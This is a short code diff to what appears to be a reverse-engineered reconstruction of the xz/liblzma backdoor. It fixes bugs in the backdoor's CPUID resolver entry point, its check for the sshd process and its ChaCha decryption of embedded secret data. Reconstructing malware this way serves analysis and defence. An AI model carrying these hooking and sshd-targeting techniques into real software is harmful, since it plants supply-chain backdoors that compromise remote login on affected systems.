diff --git a/xzre_code/backdoor_entry.c b/xzre_code/backdoor_entry.c index e90c888..a67e6f2 100644 --- a/xzre_code/backdoor_entry.c +++ b/xzre_code/backdoor_entry.c @@ -15,4 +15,5 @@ unsigned int backdoor_entry(unsigned int cpuid_request, u64 *caller_frame){ } ++resolver_call_count; _cpuid_gcc(cpuid_request, &a, &b, &c, &d); + return a; } diff --git a/xzre_code/main_elf_parse.c b/xzre_code/main_elf_parse.c index 2023794..a45813b 100644 --- a/xzre_code/main_elf_parse.c +++ b/xzre_code/main_elf_parse.c @@ -19,7 +19,7 @@ BOOL main_elf_parse(main_elf_t *main_elf){ ))){ return FALSE; } - elf_info_t *dynamic_linker; + elf_info_t *dynamic_linker = main_elf->elf_handles->dynamic_linker; void **libc_stack_end_ptr = (void *)PTRADD(dynamic_linker->elfbase, libc_stack_end_sym->st_value); if(!process_is_sshd(dynamic_linker, *libc_stack_end_ptr)){ return FALSE; diff --git a/xzre_code/secret_data_get_decrypted.c b/xzre_code/secret_data_get_decrypted.c index ad31fa8..c946c1f 100644 --- a/xzre_code/secret_data_get_decrypted.c +++ b/xzre_code/secret_data_get_decrypted.c @@ -23,6 +23,6 @@ BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx){ return chacha_decrypt( ctx->secret_data, sizeof(ctx->secret_data), - buf1.key, buf1.iv, + buf2.key, buf2.iv, output, ctx->imported_funcs); }